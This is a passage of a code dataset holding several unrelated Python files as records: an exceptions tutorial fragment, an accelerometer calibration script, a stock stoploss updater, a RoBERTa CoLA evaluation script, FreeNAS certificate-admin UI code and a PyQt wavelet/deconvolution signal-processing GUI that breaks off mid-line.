/ 2: You cannot divide by zero\")\t\t\nelse:\n\tprint(\"10 / 2: No exceptions raised\") # Note that else runs when no exceptions are raised\nfinally:\n\tprint(\"10 / 2: This code always runs\\n\")\n\n# This is how we can catch any error\ntry:\n\traise SystemError(\"SystemError1\")\nexcept ZeroDivisionError:\n\tprint(\"SystemError1: You cannot divide by zero\")\nexcept BaseException as err:\n\tprint(\"SystemError1: There was some error\")\t\t\n\tprint(err)\n\tpass\nelse:\n\tprint(\"SystemError1: No exceptions raised\")\nfinally:\n\tprint(\"SystemError1: This code always runs\\n\")\n\n# System error is not being handled by our code\ntry:\n\traise SystemError(\"SystemError2\")\nexcept ZeroDivisionError:\n\tprint(\"SystemError2: You cannot divide by zero\")\t\nelse:\n\tprint(\"SystemError2: No exceptions raised\")\nfinally:\n\tprint(\"SystemError2: This code always runs\\n\")","sub_path":"errors.py","file_name":"errors.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"427569951","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport fileinput, calibration\n\ntmp = []\nfor line in fileinput.input():\n vals = line.strip().split(\",\")\n if vals[0] == \"StartFormatDescriptors\":\n format_descriptors = True\n continue\n if format_descriptors:\n if vals[0] == \"EndFormatDescriptors\":\n format_descriptors = False\n else:\n continue\n if vals[0] == \"MPU9250Data\":\n tmp.append([float(vals[1]), float(vals[2]), float(vals[3])])\n\nraw_data = np.array(tmp)\ntmp = []\n\ncalibration.calibration_all(raw_data)\n\nplt.show()\n","sub_path":"util/python/mpu9250_accel.py","file_name":"mpu9250_accel.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"615181727","text":"from datetime import datetime\nfrom datetime import timedelta\nfrom stockutils import StockUtils\nfrom index import Index\nfrom tradedao import TradeDAO\nfrom dateutil import parser\nfrom Myemail import Myemail\nimport sqlite3\n\nstockutils = StockUtils()\nindex = Index()\ntradedao = TradeDAO()\nmyemail = Myemail()\nconn = sqlite3.connect(\"stock.db\")\n\n# Get the rows from the Trade table\ncursor = tradedao.selectAllTrade(conn)\n\nfor row in cursor:\n stype = row[0]\n symbol = row[1]\n buy = row[2]\n stoploss = row[8]\n sltype = row[9]\n costprice = row[10]\n otype = row[11]\n target = row[12]\n days = row[13]\n\n if stoploss == \"\":\n if otype == \"CE\":\n if sltype == \"S\":\n stoploss = target + (costprice/days)\n else:\n stoploss = (buy - costprice) + (target - buy + (costprice * 2))/days\n elif otype == \"PE\":\n if sltype == \"S\":\n stoploss = target - (costprice/days)\n else:\n stoploss = (buy + costprice) - (buy - target + (costprice*2))/days\n else:\n if otype == \"CE\":\n if sltype == \"S\":\n stoploss = stoploss + (costprice/days)\n else:\n stoploss = stoploss + (target - buy + (costprice * 2))/days\n elif otype == \"PE\":\n if sltype == \"S\":\n stoploss = stoploss - (costprice/days)\n else:\n stoploss = stoploss - (buy - target + (costprice*2))/days\n\n if otype == \"CE\" or otype ==\"PE\":\n tradedao.updateStoploss(conn, symbol, stoploss)\n\n\n","sub_path":"stoplosspop.py","file_name":"stoplosspop.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"590885911","text":"from fairseq.models.roberta import RobertaModel\n\n\nimport sys\n\nmodel = sys.argv[1]\nassert model == \"CoLA\"\n\nroberta = RobertaModel.from_pretrained(\n f'checkpoints_{model}/',\n checkpoint_file='checkpoint_best.pt',\n data_name_or_path=f'{model}-bin'\n)\n\nimport torch\nlabel_fn = lambda label: roberta.task.label_dictionary.string(\n torch.LongTensor([label + roberta.task.label_dictionary.nspecial])\n)\nncorrect, nsamples = 0, 0\nroberta.cuda()\nroberta.eval()\npredictions = []\ntargets = []\nwith open(f'/u/scr/mhahn/PRETRAINED/GLUE/glue_data/{model}/dev.tsv') as fin:\n fin.readline()\n for index, line in enumerate(fin):\n tokens = line.strip().split('\\t')\n _, target, _, sent = tokens\n tokens = roberta.encode(sent)\n prediction = roberta.predict('sentence_classification_head', tokens).argmax().item()\n prediction_label = label_fn(prediction)\n print(target, prediction_label)\n predictions.append(float(prediction_label))\n targets.append(float(target))\n ncorrect += int(prediction_label == target)\n nsamples += 1\n# if nsamples == 10:\n # break\nprint(nsamples)\nprint('| Accuracy: ', float(ncorrect)/float(nsamples))\nimport scipy.stats\nprint(scipy.stats.pearsonr(predictions, targets))\n","sub_path":"inference_glue_CoLA.py","file_name":"inference_glue_CoLA.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"420236015","text":"import logging\n\nfrom collections import OrderedDict\n\nfrom django.core.urlresolvers import reverse\nfrom django.utils.html import escapejs\nfrom django.utils.translation import ugettext as _\n\nfrom freenasUI.api.resources import (\n CertificateAuthorityResourceMixin,\n CertificateResourceMixin,\n SettingsResourceMixin,\n UpdateResourceMixin,\n)\nfrom freenasUI.freeadmin.options import BaseFreeAdmin\nfrom freenasUI.freeadmin.site import site\nfrom freenasUI.system import models\n\nlog = logging.getLogger('system.admin')\n\n\nclass BootStatusFAdmin(BaseFreeAdmin):\n\n app_label = \"system\"\n double_click = False\n module_name = \"bootstatus\"\n verbose_name = _(\"Boot Status\")\n resource = False\n\n def get_resource_url(self, request):\n return \"%sstatus/\" % (\n reverse('api_dispatch_list', kwargs={\n 'api_name': 'v1.0',\n 'resource_name': 'system/bootenv',\n }),\n )\n\n def get_datagrid_columns(self):\n\n columns = []\n\n columns.append({\n 'name': 'name',\n 'label': _('Name'),\n 'renderExpando': True,\n 'sortable': False,\n 'shouldExpand': True,\n })\n\n columns.append({\n 'name': 'read',\n 'label': _('Read'),\n 'sortable': False,\n })\n\n columns.append({\n 'name': 'write',\n 'label': _('Write'),\n 'sortable': False,\n })\n\n columns.append({\n 'name': 'cksum',\n 'label': _('Checksum'),\n 'sortable': False,\n })\n\n columns.append({\n 'name': 'status',\n 'label': _('Status'),\n 'sortable': False,\n })\n return columns\n\n def _action_builder(\n self, name, label=None, url=None, func=\"editObject\", show=None\n ):\n\n if url is None:\n url = \"_%s_url\" % (name, )\n\n hide = \"row.data.%s === undefined\" % url\n\n on_select_after = \"\"\"function(evt, actionName, action) {\n for(var i=0;i < evt.rows.length;i++) {\n var row = evt.rows[i];\n if((%(hide)s)) {\n query(\".grid\" + actionName).forEach(function(item, idx) {\n domStyle.set(item, \"display\", \"none\");\n });\n break;\n }\n }\n}\"\"\" % {\n 'hide': hide,\n }\n\n on_click = \"\"\"function() {\n var mybtn = this;\n for (var i in grid.selection) {\n var data = grid.row(i).data;\n %(func)s('%(label)s', data.%(url)s, [mybtn,]);\n }\n}\"\"\" % {\n 'func': func,\n 'label': escapejs(label),\n 'url': url,\n }\n\n data = {\n 'button_name': label,\n 'on_select_after': on_select_after,\n 'on_click': on_click,\n }\n\n return data\n\n def get_actions(self):\n\n actions = OrderedDict()\n\n actions['Detach'] = self._action_builder(\"detach\", label=_('Detach'))\n\n actions['Replace'] = self._action_builder(\n 'replace', label=_('Replace'),\n )\n\n actions['Attach'] = self._action_builder(\n 'attach', label=_('Attach'),\n )\n\n actions['Remove'] = self._action_builder(\"remove\", label=_('Remove'))\n\n return actions\n\n\nclass SettingsFAdmin(BaseFreeAdmin):\n\n deletable = False\n\n resource_mixin = SettingsResourceMixin\n\n\nclass CertificateAuthorityFAdmin(BaseFreeAdmin):\n\n icon_object = \"CertificateAuthorityIcon\"\n icon_model = \"CertiicateAuthorityIcon\"\n icon_add = \"CertificateAuthorityIcon\"\n icon_view = \"CertificateAuthorityIcon\"\n\n resource_mixin = CertificateAuthorityResourceMixin\n\n def get_datagrid_columns(self):\n columns = []\n\n columns.append({\n 'name': 'cert_name',\n 'label': _('Name')\n })\n\n columns.append({\n 'name': 'cert_internal',\n 'label': _('Internal')\n })\n\n columns.append({\n 'name': 'cert_issuer',\n 'label': _('Issuer')\n })\n\n columns.append({\n 'name': 'cert_ncertificates',\n 'label': _('Certificates')\n })\n\n columns.append({\n 'name': 'cert_DN',\n 'label': _('Distinguished Name')\n })\n\n columns.append({\n 'name': 'cert_from',\n 'label': _('From')\n })\n\n columns.append({\n 'name': 'cert_until',\n 'label': _('Until')\n })\n\n return columns\n\n def get_actions(self):\n actions = OrderedDict()\n\n # Commenting this out as it can lead to users corrupting a CA\n # uncomment if the certificate integrity check can be added to this\n # actions['edit'] = {\n # 'button_name': 'Edit',\n # 'on_click': \"\"\"function() {\n # var mybtn = this;\n # for (var i in grid.selection) {\n # var data = grid.row(i).data;\n # editObject('Edit', data._edit_url, [mybtn,]);\n # }\n # }\"\"\",\n # }\n\n actions['sign_csr'] = {\n 'button_name': 'Sign CSR',\n 'on_click': \"\"\"\n function() {\n var mybtn = this;\n for (var i in grid.selection) {\n var data = grid.row(i).data;\n editObject('Sign CSR', data._sign_csr_url, [mybtn,]);\n }\n }\n \"\"\",\n }\n\n actions['export_certificate'] = {\n 'button_name': 'Export Certificate',\n 'on_click': \"\"\"function() {\n var mybtn = this;\n for (var i in grid.selection) {\n var data = grid.row(i).data;\n location.href=data._export_certificate_url;\n }\n }\"\"\",\n }\n\n actions['export_privatekey'] = {\n 'button_name': 'Export Private Key',\n 'on_click': \"\"\"function() {\n var mybtn = this;\n for (var i in grid.selection) {\n var data = grid.row(i).data;\n location.href=data._export_privatekey_url;\n }\n }\"\"\",\n 'on_select_after': \"\"\"function(evt, actionName, action) {\n for(var i=0;i < evt.rows.length;i++) {\n var row = evt.rows[i];\n if (!row.data.cert_privatekey) {\n if (actionName == 'export_privatekey') {\n query(\".grid\" + actionName).forEach(function(item, idx) {\n domStyle.set(item, \"display\", \"none\");\n });\n }\n }\n }\n }\"\"\"\n }\n\n actions['delete'] = {\n 'button_name': 'Delete',\n 'on_click': \"\"\"function() {\n var mybtn = this;\n for (var i in grid.selection) {\n var data = grid.row(i).data;\n editObject('Delete', data._delete_url, [mybtn,]);\n }\n }\"\"\",\n }\n\n return actions\n\n\nclass CertificateFAdmin(BaseFreeAdmin):\n\n icon_object = \"CertificateIcon\"\n icon_model = \"CertificateIcon\"\n icon_add = \"CertificateIcon\"\n icon_view = \"CertificateIcon\"\n\n resource_mixin = CertificateResourceMixin\n\n def get_datagrid_columns(self):\n columns = []\n\n columns.append({\n 'name': 'cert_name',\n 'label': _('Name')\n })\n\n columns.append({\n 'name': 'cert_issuer',\n 'label': _('Issuer')\n })\n\n columns.append({\n 'name': 'cert_DN',\n 'label': _('Distinguished Name')\n })\n\n columns.append({\n 'name': 'cert_from',\n 'label': _('From')\n })\n\n columns.append({\n 'name': 'cert_until',\n 'label': _('Until')\n })\n\n return columns\n\n def get_actions(self):\n actions = OrderedDict()\n\n hide_me = \"\"\"function(evt, actionName, action) {\n for(var i=0;i < evt.rows.length;i++) {\n var row = evt.rows[i];\n if(%s) {\n query(\".grid\" + actionName).forEach(function(item, idx) {\n domStyle.set(item, \"display\", \"none\");\n });\n break;\n }\n }\n }\"\"\"\n\n actions['edit'] = {\n 'button_name': 'View',\n 'on_click': \"\"\"function() {\n var mybtn = this;\n for (var i in grid.selection) {\n var data = grid.row(i).data;\n editObject('View', data._edit_url, [mybtn,]);\n }\n }\"\"\",\n 'on_select_after': hide_me % 'row.data.cert_type_CSR',\n }\n\n actions['export_certificate'] = {\n 'button_name': 'Export Certificate',\n 'on_click': \"\"\"function() {\n var mybtn = this;\n for (var i in grid.selection) {\n var data = grid.row(i).data;\n location.href=data._export_certificate_url;\n }\n }\"\"\",\n 'on_select_after': hide_me % 'row.data.cert_type_CSR',\n }\n\n actions['edit_csr'] = {\n 'button_name': 'Edit',\n 'on_click': \"\"\"function() {\n var mybtn = this;\n for (var i in grid.selection) {\n var data = grid.row(i).data;\n editObject('Edit',data._CSR_edit_url, [mybtn,]);\n }\n }\"\"\",\n 'on_select_after': hide_me % '!row.data.cert_type_CSR',\n }\n\n actions['export_privatekey'] = {\n 'button_name': 'Export Private Key',\n 'on_click': \"\"\"function() {\n var mybtn = this;\n for (var i in grid.selection) {\n var data = grid.row(i).data;\n location.href=data._export_privatekey_url;\n }\n }\"\"\",\n 'on_select_after': hide_me % 'row.data.cert_type_CSR',\n }\n\n# actions['export_certificate_and_privatekey'] = {\n# 'button_name': 'Export Certificate + Private Key',\n# 'on_click': \"\"\"function() {\n# var mybtn = this;\n# for (var i in grid.selection) {\n# var data = grid.row(i).data;\n# location.href=data._export_certificate_and_privatekey_url;\n# }\n# }\"\"\",\n# }\n\n actions['delete'] = {\n 'button_name': 'Delete',\n 'on_click': \"\"\"function() {\n var mybtn = this;\n for (var i in grid.selection) {\n var data = grid.row(i).data;\n editObject('Delete', data._delete_url, [mybtn,]);\n }\n }\"\"\",\n }\n\n return actions\n\n def get_datagrid_dblclick(self, request=None):\n func = \"\"\"\n grid.on(\".dgrid-row:dblclick\", function(evt) {\n var row = grid.row(evt);\n if (row.data.cert_type_CSR) {\n editObject('Edit', row.data._CSR_edit_url, [this, ]);\n } else {\n editObject('Edit', row.data._edit_url, [this, ]);\n }\n });\n \"\"\"\n\n return func\n\n\nclass CloudCredentialsFAdmin(BaseFreeAdmin):\n\n exclude_fields = (\n 'id',\n 'attributes',\n )\n\n icon_object = \"CloudCredentialsIcon\"\n icon_model = \"CloudCredentialsIcon\"\n icon_add = \"CloudCredentialsAddIcon\"\n icon_view = \"CloudCredentialsViewIcon\"\n\n\nclass UpdateFAdmin(BaseFreeAdmin):\n\n deletable = False\n resource_mixin = UpdateResourceMixin\n\n\nsite.register(None, BootStatusFAdmin)\nsite.register(models.CertificateAuthority, CertificateAuthorityFAdmin)\nsite.register(models.Certificate, CertificateFAdmin)\nsite.register(models.CloudCredentials, CloudCredentialsFAdmin)\nsite.register(models.Settings, SettingsFAdmin)\nsite.register(models.Update, UpdateFAdmin)\n","sub_path":"gui/system/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":12072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"22263349","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreate Time: 2021/8/23 10:52\nAuthor: Kevin\nPython Version:3.7.6\n\"\"\"\nimport os\nos.environ['ETS_TOOLKIT'] = 'qt4'\nos.environ['QT_API'] = 'pyqt5'\n\nimport pandas as pd\nfrom dwtui import Ui_MainWindow\nimport sys\nfrom matplotlib import pyplot as plt\nfrom PyQt5.QtWidgets import QFileDialog\nfrom PyQt5.QtWidgets import QApplication, QMainWindow,QHBoxLayout\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FC\nimport pywt\nimport numpy as np\nfrom numpy.fft import fft,ifft\nfrom scipy import signal\nplt.rcParams['font.sans-serif'] = ['SimHei']\nplt.rcParams['axes.unicode_minus'] = False\nimport time\nfrom PyQt5 import QtCore\n\nclass Action(QMainWindow, Ui_MainWindow):\n def __init__(self, parent=None):\n super(Action, self).__init__(parent)\n self.setupUi(self)\n self.init_ui()\n self.init_ui_size()\n\n def init_ui(self):\n self.t = np.array([])\n self.ref = np.array([])\n self.sample = np.array([])\n self.mediandwt = np.array([])\n self.DataSizeEdit.setText(str(''))\n self.col = 1\n self.data = pd.DataFrame([])\n self.sample = np.array([])\n self.name = ''\n self.HF = -1\n self.LH = -1\n self.MF = 1\n self.methodvalue = 'sqtwolog'\n self.deconvmethod = 'DGIF'\n\n self.LevelBox.setCurrentIndex(2)\n self.mode = 'none'\n self.level = 5\n\n self.desktop = QApplication.desktop()\n self.screenRect = self.desktop.screenGeometry()\n self.height = self.screenRect.height()\n self.width = self.screenRect.width()\n self.w = 2560\n self.h = 1440\n\n self.osfig = plt.figure()\n self.oscanvas = FC(self.osfig)\n oslayout = QHBoxLayout()\n oslayout.addWidget(self.oscanvas)\n self.originalSignal.setLayout(oslayout)\n\n self.afig = plt.figure()\n self.acanvas = FC(self.afig)\n alayout = QHBoxLayout()\n alayout.addWidget(self.acanvas)\n self.A.setLayout(alayout)\n\n self.d8fig = plt.figure()\n self.d8canvas = FC(self.d8fig)\n d8layout = QHBoxLayout()\n d8layout.addWidget(self.d8canvas)\n self.D8.setLayout(d8layout)\n\n self.d7fig = plt.figure()\n self.d7canvas = FC(self.d7fig)\n d7layout = QHBoxLayout()\n d7layout.addWidget(self.d7canvas)\n self.D7.setLayout(d7layout)\n\n self.d6fig = plt.figure()\n self.d6canvas = FC(self.d6fig)\n d6layout = QHBoxLayout()\n d6layout.addWidget(self.d6canvas)\n self.D6.setLayout(d6layout)\n\n self.d5fig = plt.figure()\n self.d5canvas = FC(self.d5fig)\n d5layout = QHBoxLayout()\n d5layout.addWidget(self.d5canvas)\n self.D5.setLayout(d5layout)\n\n self.d4fig = plt.figure()\n self.d4canvas = FC(self.d4fig)\n d4layout = QHBoxLayout()\n d4layout.addWidget(self.d4canvas)\n self.D4.setLayout(d4layout)\n\n self.d3fig = plt.figure()\n self.d3canvas = FC(self.d3fig)\n d3layout = QHBoxLayout()\n d3layout.addWidget(self.d3canvas)\n self.D3.setLayout(d3layout)\n\n self.d2fig = plt.figure()\n self.d2canvas = FC(self.d2fig)\n d2layout = QHBoxLayout()\n d2layout.addWidget(self.d2canvas)\n self.D2.setLayout(d2layout)\n\n self.d1fig = plt.figure()\n self.d1canvas = FC(self.d1fig)\n d1layout = QHBoxLayout()\n d1layout.addWidget(self.d1canvas)\n self.D1.setLayout(d1layout)\n\n self.mdfig = plt.figure()\n self.mdcanvas = FC(self.mdfig)\n mdlayout = QHBoxLayout()\n mdlayout.addWidget(self.mdcanvas)\n self.MedianDwtfig.setLayout(mdlayout)\n\n self.convfig = plt.figure()\n self.convcanvas = FC(self.convfig)\n convlayout = QHBoxLayout()\n convlayout.addWidget(self.convcanvas)\n self.Deconfig.setLayout(convlayout)\n\n self.D6.hide()\n self.D7.hide()\n self.D8.hide()\n\n self.layout = QHBoxLayout()\n self.menubar = self.menuBar()\n self.file = self.menubar.addMenu(\"Input Data\")\n self.file.addAction(\"New Data\")\n\n self.obtain_wave_name()\n\n # self.WaveletBox.currentIndexChanged.connect(self.selectionchange)\n # self.colBox.currentIndexChanged.connect(self.selectionchange)\n self.pushButton.clicked.connect(self.selectionchange)\n self.file.triggered.connect(self.open_file)\n self.Mediandwt.clicked.connect(self.medianFilterShow)\n self.Deconbutton.clicked.connect(self.convShow)\n\n def init_ui_size(self):\n\n if self.width == self.w and self.height == self.h:\n return\n ratio_w = self.width/self.w\n ratio_h = self.height/self.h\n self.resize(int(1618*ratio_w), int(1175*ratio_h))\n size_all = [self.pushButton,self.originalSignal,self.A,\n self.D1,self.D2,self.D3,self.D4,self.D5,self.D6,self.D7,self.D8,\n self.layoutWidget,self.DataCol,self.colBox,self.Deconbutton,\n self.messageLine,self.Log,self.Mediandwt,self.Deconfig,self.labelHF,self.labelLF,\n self.MedianDwtfig,self.menubar,self.HFlineEdit,self.LFlineEdit,\n self.MFlabel,self.MFlineEdit,self.methodValueBox,self.methodValuelabel,\n self.deconvcomboBox]\n for i in range(len(size_all)):\n size_rect = size_all[i].geometry().getRect()\n size_all[i].setGeometry(QtCore.QRect(int(size_rect[0]*ratio_w), int(size_rect[1]*ratio_h), int(size_rect[2]*ratio_w) -1, int(size_rect[3]*ratio_h)-1))\n\n\n def closeFig(self):\n afig=self.afig.gca()\n afig.cla()\n afig.set_xticks([])\n afig.set_yticks([])\n afig.axis('off')\n self.acanvas.draw()\n d1fig=self.d1fig.gca()\n d1fig.cla()\n d1fig.set_xticks([])\n d1fig.set_yticks([])\n d1fig.axis('off')\n self.d1canvas.draw()\n d2fig=self.d2fig.gca()\n d2fig.cla()\n d2fig.set_xticks([])\n d2fig.set_yticks([])\n d2fig.axis('off')\n self.d2canvas.draw()\n d3fig=self.d3fig.gca()\n d3fig.cla()\n d3fig.set_xticks([])\n d3fig.set_yticks([])\n d3fig.axis('off')\n self.d3canvas.draw()\n d4fig=self.d4fig.gca()\n d4fig.cla()\n d4fig.set_xticks([])\n d4fig.set_yticks([])\n d4fig.axis('off')\n self.d4canvas.draw()\n d5fig=self.d5fig.gca()\n d5fig.cla()\n d5fig.set_xticks([])\n d5fig.set_yticks([])\n d5fig.axis('off')\n self.d5canvas.draw()\n d6fig = self.d6fig.gca()\n d6fig.cla()\n d6fig.set_xticks([])\n d6fig.set_yticks([])\n d6fig.axis('off')\n self.d6canvas.draw()\n d7fig = self.d7fig.gca()\n d7fig.cla()\n d7fig.set_xticks([])\n d7fig.set_yticks([])\n d7fig.axis('off')\n self.d7canvas.draw()\n d8fig = self.d8fig.gca()\n d8fig.cla()\n d8fig.set_xticks([])\n d8fig.set_yticks([])\n d8fig.axis('off')\n self.d8canvas.draw()\n\n def open_file(self):\n fileName, fileType = QFileDialog.getOpenFileName(self, \"Choose File\", os.getcwd(),\n \"Text Files(*.xls);;Text Files(*.xlsx)\")\n self.path = fileName\n _, extension = os.path.splitext(self.path)\n self.closeFig()\n if extension == '.xls' or extension == '.xlsx':\n self.data = pd.read_excel(self.path)\n self.colBox.clear()\n for i in range(1,self.data.shape[1]):\n self.colBox.addItem(str(i))\n self.sample = self.data.iloc[:,self.col].values\n self.ref = self.data.iloc[:,1].values\n self.t = self.data.iloc[:,0].values\n self.DataSizeEdit.setText(str(len(self.sample)))\n self.messageLine.setText('The data column name is:'+str(self.data.columns[self.col]))\n self.osShow()\n\n def selectionchange(self):\n self.mode = self.WaveletBox.currentText()\n self.level = int(self.LevelBox.currentText())\n self.col = int(self.colBox.currentText())\n if len(self.sample) > 0:\n self.sample = self.data.iloc[:, self.col].values\n self.messageLine.setText('The data column name is:'+str(self.data.columns[self.col]))\n self.osShow()\n self.dwtShow()\n else:\n self.messageLine.setText('Please input data first!')\n\n def osShow(self):\n osfig=self.osfig.gca()\n osfig.cla()\n osfig.set_xticks([])\n osfig.set_yticks([])\n osfig.axis('off')\n\n if len(self.t)>0:\n osfig.plot(self.t,self.sample)\n self.oscanvas.draw()\n\n def obtain_wave_Stein_value(self,mcoeffs):\n x = mcoeffs.copy()\n x = np.power(x, 2)\n x.sort()\n N = x.shape[0]\n r = []\n for i in range(N):\n r.append((N - 2 * i + (N - i) * x[i] + sum(x[0:i])) / N)\n r = np.array(r)\n value = x[np.argmin(r)]\n value = np.sqrt(value)\n return value\n\n def obtain_wave_maxmin_value(self,mcoeffs):\n if mcoeffs.shape[0] < 32:\n value = 0\n else:\n value = 0.3936 + 0.1829 * np.log2(self.sample.shape[0])\n return value\n\n def obtain_wave_threshold(self,mcoeffs):\n if self.methodValueBox.currentText() == 'sqtwolog':\n value = np.sqrt(2 * np.log(self.sample.shape[0]))\n elif self.methodValueBox.currentText() == 'Stein':\n value = self.obtain_wave_Stein_value(mcoeffs)\n else:\n value = self.obtain_wave_maxmin_value(mcoeffs)\n return value\n\n def obtain_wave_name(self):\n wavelists = []\n\n for family in pywt.families():\n for i in range(len(pywt.wavelist(family))):\n wavelists.append(pywt.wavelist(family)[i])\n self.WaveletBox.clear()\n for j in range(len(wavelists)):\n self.WaveletBox.addItem(str(wavelists[j]))\n # return wavelists\n\n def medianFilterShow(self):\n mdfig=self.mdfig.gca()\n mdfig.cla()\n mdfig.set_xticks([])\n mdfig.set_yticks([])\n mdfig.axis('off')\n\n if len(self.t) > 0:\n if self.MFlineEdit.text() == '':\n self.messageLine.setText('Please input MF number first!')\n else:\n try:\n self.mode = self.WaveletBox.currentText()\n self.MF = int(self.MFlineEdit.text())\n self.sample = self.data.iloc[:, self.col].values\n self.ref = self.data.iloc[:, 1].values\n self.t = self.data.iloc[:, 0].values\n if self.MF > 0:\n mcoeffs = pywt.wavedec(signal.medfilt(self.sample,self.MF), self.mode, mode='symmetric', level=self.level)\n # value = np.sqrt(2 * np.log(self.sample.shape[0]))\n mode_threshold_func = self.ThresholdBox.currentText()\n\n for k in range(1,len(mcoeffs)):\n self.methodvalue = self.methodValueBox.currentText()\n value = self.obtain_wave_threshold(mcoeffs[k])\n mcoeffs[k] = pywt.threshold(np.array(mcoeffs[k]), value=value, mode=mode_threshold_func)\n self.mediandwt = pywt.waverec(mcoeffs, wavelet = self.mode, mode = 'symmetric')\n mdfig.plot(self.t,self.mediandwt,color='red')\n self.mdcanvas.draw()\n self.messageLine.setText('Median Filter and Dwt result.')\n else:\n self.messageLine.setText('MF number must be more than 0 and it should be an int type!')\n except Exception as e:\n self.messageLine.setText(str(e))\n else:\n self.messageLine.setText('Please input data first!')\n\n def obtain_snr(self):\n max_index = np.argmax(self.sample)\n max_value = np.max(self.sample)\n if max_value + 200 < self.sample.shape[0] and max_index - 200 > 0:\n snr1 = max_value - np.min(self.sample[max_index - 200:max_index + 200])\n elif max_value + 200 < self.sample.shape[0] and max_index - 200 < 0:\n snr1 = max_value - np.min(self.sample[0:max_index + 200])\n elif max_value + 200 > self.sample.shape[0] and max_index - 200 < 0:\n snr1 = max_value - np.min(self.sample[0:self.sample.shape[0]])\n else:\n snr1 = max_value - np.min(self.sample[max_index - 200:self.sample.shape[0]])\n snr = snr1 / (np.max(self.sample[10:60]) - np.min(self.sample[10:60]))\n return snr\n\n def obtain_fwhm(self):\n max_index = np.argmax(self.sample)\n max_value = np.max(self.sample)\n left_exist = 0\n right_exist = 0\n for i in range(2000):\n if max_value / 2 - self.sample[max_index - i] > 0 and left_exist == 0:\n left_exist = left_exist + 1\n left_index = max_index - i\n if self.sample[max_index + i] - max_value / 2 < 0 and right_exist == 0:\n right_exist = right_exist + 1\n right_index = max_index + i\n if left_exist == 1 and right_exist == 1:\n break\n t_fwhm = self.t[right_index] - self.t[left_index]\n return t_fwhm\n\n def wiener_filter(self, x, a):\n w = x.conjugate() / (np.power(np.abs(x), 2) + 1 / a)\n return w\n\n def convShow(self):\n convfig=self.convfig.gca()\n convfig.cla()\n convfig.set_xticks([])\n convfig.set_yticks([])\n convfig.axis('off')\n\n if len(self.ref) > 0:\n self.col = int(self.colBox.currentText())\n self.deconvmethod = str(self.deconvcomboBox.currentText())\n if self.deconvmethod == 'DGIF':\n if self.HFlineEdit.text() == '' and self.LFlineEdit.text() == '':\n self.messageLine.setText('Both HF and LF must have number!')\n return\n if self.col < 2:\n self.messageLine.setText('Data col must more than 1!')\n else:\n self.sample = self.data.iloc[:, self.col].values\n self.ref = self.data.iloc[:, 1].values\n self.t = self.data.iloc[:, 0].values\n try:\n self.HF = float(self.HFlineEdit.text())\n self.LF = float(self.LFlineEdit.text())\n if self.HF > 0 and self.LF > 0:\n max_peak_index = np.argmax(self.sample)\n t1 = self.t - self.t[max_peak_index]\n g_filter = np.exp(-np.power(t1, 2) / np.power(self.HF, 2)) / self.HF - \\\n np.exp(-np.power(t1, 2) / np.power(self.LF, 2)) / self.LF\n dgf = ifft(fft(g_filter) * fft(self.sample) / fft(self.ref))\n y = self.sample * dgf.real\n convfig.plot(self.t,y,color='red')\n self.convcanvas.draw()\n self.messageLine.setText('DGIF:Deconvolution result.')\n else:\n self.messageLine.setText('HF and LF must be more than 0!')\n except Exception as e:\n self.messageLine.setText(str(e))\n\n if self.deconvmethod == 'FWDD':\n if self.col < 3:\n self.messageLine.setText('Data col must more than 2!')\n else:\n self.sample = self.data.iloc[:, self.col].values\n self.noise = self.data.iloc[:,2].values\n self.ref = self.data.iloc[:, 1].values\n self.t = self.data.iloc[:, 0].values\n try:\n beta = 0.025\n N = self.t.shape[0]\n noisevar = np.var(self.noise)\n delta = noisevar * noisevar\n mean_gr = np.sum(self.sample) / N\n\n S = (np.sum(np.power(self.sample - mean_gr, 2)) - N * delta) / (\n np.sum(np.power(self.ref, 2)))\n\n f_Wiener = ifft(fft(self.sample) / fft(self.ref) * (\n np.power(np.abs(fft(self.ref)), 2) / (np.power(np.abs(fft(self.ref)), 2) +\n beta * N * delta / S)))\n\n f_Wiener = f_Wiener.real\n y = f_Wiener * self.sample\n mode_wavelet = 'sym4'\n mode_signal = 'symmetric'\n mode_threshold_func = 'soft'\n model_level = 5\n\n coeffs = pywt.wavedec(y, mode_wavelet, mode=mode_signal, level=model_level)\n\n for i in range(len(coeffs)):\n value = np.sqrt(2 * np.log(self.sample.shape[0]))\n coeffs[i] = pywt.threshold(np.array(coeffs[i]), value=value, mode=mode_threshold_func)\n\n result = pywt.waverec(coeffs, wavelet=mode_wavelet, mode=mode_signal)\n convfig.plot(self.t, result, color='red')\n self.convcanvas.draw()\n self.messageLine.setText('FWDD:Deconvolution result.数据必须第一列时间,第二列参考信号,第三列baseline基底信号。')\n except Exception as e:\n self.messageLine.setText(str(e))\n\n if self.deconvmethod == 'Tikhonov Filter':\n if self.col < 2:\n self.messageLine.setText('Data col must more than 1!')\n else:\n self.sample = self.data.iloc[:, self.col].values\n self.ref = self.data.iloc[:, 1].values\n self.t = self.data.iloc[:, 0].values\n try:\n tau = 0.05\n y = fft(self.sample)\n x = fft(self.ref)\n w = x.conjugate() / (np.power(np.abs(x), 2) + tau)\n tikhonov_result = ifft(y * w).real\n tikhonov_result[0:10] = 0\n tikhonov_result[len(tikhonov_result) - 10:len(tikhonov_result)] = 0\n\n win = signal.windows.gaussian(30, 7)\n filtered = signal.convolve(tikhonov_result, win, mode='same') / sum(win)\n convfig.plot(self.t, filtered, color='red')\n self.convcanvas.draw()\n self.messageLine.setText('Tikhonov Filter:Deconvolution result.适合TeraMetrix设备,因为需要噪声信号!')\n except Exception as e:\n self.convfig.clf()\n self.messageLine.setText(str(e))\n\n if self.deconvmethod == 'Wiener Filter':\n if self.col < 2:\n self.messageLine.setText('Data col must more than 1!')\n else:\n self.sample = self.data.iloc[:, self.col].values\n self.ref = self.data.iloc[:, 1].values\n self.t = 